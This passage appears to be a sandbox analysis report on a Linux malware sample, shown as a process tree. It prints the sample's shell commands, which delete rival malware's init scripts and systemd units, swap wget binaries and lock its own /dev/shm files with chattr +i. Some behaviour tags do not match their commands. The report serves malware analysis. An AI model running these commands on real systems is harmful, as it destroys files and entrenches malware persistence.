                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1230
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1231
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1233
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1235
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1237
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1238
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1351
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1353
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1354
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1355
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1357
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1358
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1359
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1360
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1361
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1362
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1363
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1365
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1366
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1451
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1453
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1454
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1455
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1456
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1457
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1458
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1459
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1461
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1462
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1463
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1465
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1466
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /tmp/.guardian
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                .guardian vps
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies Watchdog functionality
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Enumerates active TCP sockets
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies init.d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies rc script
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies systemd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Changes its process name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Reads system network configuration
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Writes file to shm directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
